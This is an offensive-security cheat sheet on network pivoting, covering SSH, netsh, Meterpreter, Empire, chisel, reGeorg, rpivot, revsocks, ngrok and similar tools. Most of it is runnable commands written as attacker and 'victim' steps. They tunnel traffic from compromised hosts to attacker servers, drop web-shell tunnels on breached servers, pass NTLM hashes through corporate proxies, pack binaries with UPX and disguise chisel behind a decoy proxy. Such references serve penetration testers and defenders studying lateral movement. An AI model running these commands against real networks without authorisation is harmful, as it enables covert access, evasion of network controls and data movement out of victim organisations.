Network Pivoting Techniques

Summary

Windows netsh Port Forwarding

```
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport
connectaddress=destaddress connectport=destport

netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110
connectport=3389 connectaddress=10.1.1.110
```

1. listenaddress – is a local IP address waiting for a connection.
2. listenport – local listening TCP port (the connection is waited on it).
3. connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport – is a TCP port to which the connection from listenport is forwarded to.

SSH

SOCKS Proxy

```
ssh -D8080 [user]@[host]

ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command
```

Cool Tip : Konami SSH Port forwarding

```
[ENTER] + [~C]
-D 1090
```

Local Port Forwarding

```
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```

Remote Port Forwarding

```
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
```

Proxychains

Config file: /etc/proxychains.conf

```
[ProxyList]
socks4 localhost 8080
```

Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`

Graftcp

> A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.

:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications.

```
# https://github.com/hmgle/graftcp

# Create a SOCKS5, using Chisel or another tool and forward it through SSH
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks

# Run graftcp and specify the SOCKS5
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5
```

```
127.0.0.1:1080
(attacker) $ graftcp ./nuclei -u http://172.16.1.24
```

Simple configuration file for graftcp

```
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
## Listen address (default ":2233")
listen = :2233
loglevel = 1

## SOCKS5 address (default "127.0.0.1:1080")
socks5 = 127.0.0.1:1080
# socks5_username = SOCKS5USERNAME
# socks5_password = SOCKS5PASSWORD

## Set the mode for select a proxy (default "auto")
select_proxy_mode = auto
```

Web SOCKS - reGeorg

reGeorg, the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.

Drop one of the following files on the server:

- tunnel.ashx
- tunnel.aspx
- tunnel.js
- tunnel.jsp
- tunnel.nosocket.php
- tunnel.php
- tunnel.tomcat.5.jsp

```
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks
proxy will be on port 8080

optional arguments:
  -h, --help            show this help message and exit
  -l , --listen-on      The default listening address
  -p , --listen-port    The default listening port
  -r , --read-buff      Local read buffer, max data to be sent per POST
  -u , --url            The url containing the tunnel script
  -v , --verbose        Verbose output[INFO|DEBUG]
```

Web SOCKS - pivotnacci

pivotnacci, a tool to make socks connections through HTTP agents.

```
pip3 install pivotnacci
pivotnacci  https://domain.com/agent.php --password "s3cr3t"
pivotnacci  https://domain.com/agent.php --polling-interval 2000
```

Metasploit

```
# Meterpreter list active port forwards
portfwd list

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter
shell
portfwd add –l 3389 –p 3389 –r target-host
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445

# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter
shell
portfwd delete –l 3389 –p 3389 –r target-host
# Meterpreter delete all port forwards
portfwd flush

or

# Use Meterpreters autoroute script to add the route for specified subnet
192.168.15.0
run autoroute -s 192.168.15.0/24
use auxiliary/server/socks_proxy
set SRVPORT 9090
set VERSION 4a
# or
use auxiliary/server/socks4a     # (deprecated)


# Meterpreter list all active routes
run autoroute -p

route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3
# Meterpreter delete all routes
route flush
```

Empire

```
(Empire) > socksproxyserver
(Empire) > use module management/invoke_socksproxy
(Empire) > set remoteHost 10.10.10.10
(Empire) > run
```

sshuttle

Transparent proxy server that works as a poor man's VPN. Forwards over ssh.

- Doesn't require admin.
- Works with Linux and MacOS.

- Supports DNS tunneling.

```
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24

# using a private key
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"

# -x == exclude some network to not transmit over the tunnel
# -x x.x.x.x/24
```

chisel

```
go get -v github.com/jpillora/chisel

# forward port 389 and 88 to hacker computer
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389

# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
```

SharpChisel

A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel

```
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --
proxy "https://www.google.com"
=======================================================================
server : run the Server Component of chisel
-p 8080 : run server on port 8080
--key "private": use "private" string to seed the generation of a ECDSA public and
private key pair
--auth "user:pass" : Creds required to connect to the server
--reverse:  Allow clients to specify reverse port forwarding remotes in addition to
normal remotes.
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to
when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.

user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net
R:1080:socks
```

Ligolo

Ligolo : Reverse Tunneling made easy for pentesters, by pentesters

1. Build Ligolo

```
```

```
# Get Ligolo and dependencies
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep

# Generate self-signed TLS certificates (will be placed in the certs folder)
make certs TLS_HOST=example.com

make build-all
```

2. Use Ligolo

```
# On your attack server.
./bin/localrelay_linux_amd64

# On the compromise host.
ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
```

Gost

> Wiki English : https://docs.ginuerzh.xyz/gost/en/

```
git clone https://github.com/ginuerzh/gost
cd gost/cmd/gost
go build

# Socks5 Proxy
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true

# Local Port Forward
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]
```

Rpivot

Server (Attacker box)

```
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
```

Client (Compromised box)

```
python client.py --server-ip <ip> --server-port 9443
```

Through corporate proxy

```
```

```
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy
ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
```

Passing the hash

```
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy
ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
```

revsocks

```
# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234

# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy
proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla
5.0/IE Windows 10"
```

```
# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks

# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks
```

plink

```
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389

plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445
```

```
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
```

ngrok

```
# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip

# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm

# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433
```

cloudflared

```
# Get the binary
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>
```

Basic Pivoting Types

Type	Use Case
Listen - Listen	Exposed asset, may not want to connect out.
Listen - Connect	Normal redirect.
Connect - Connect	Can’t bind, so connect to bridge two hosts

Listen - Listen

Type	Use Case
ncat	`ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`
socat	`socat -v tcp-listen:8080 tcp-listen:9090`
remote host 1	`ncat localhost 8080 < file`
remote host 2	`ncat localhost 9090 > newfile`

Listen - Connect

Type	Use Case

Type	Use Case
ncat	`ncat -l -v -p 8080 -c "ncat localhost 9090"`
socat	`socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090`
remote host 1	`ncat localhost -p 8080 < file`
remote host 2	`ncat -l -p 9090 > newfile`

Connect - Connect

Type	Use Case
ncat	`ncat localhost 8080 -c "ncat localhost 9090"`
socat	`socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090`
remote host 1	`ncat -l -p 8080 < file`
remote host 2	`ncat -l -p 9090 > newfile`

References

- Port Forwarding in Windows - Windows OS Hub
- Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin
- A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko
- Pivoting Meterpreter
- Etat de l'art du pivoting réseau en 2019 - Oct 28,2019 - Alexandre Zanni
- Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8